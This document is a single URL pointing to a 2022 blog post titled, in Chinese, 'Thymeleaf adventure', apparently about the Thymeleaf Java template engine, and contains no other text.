https://dem0dem0.top/2022/06/12/thymeleaf%E6%8E%A2%E9%99%A9/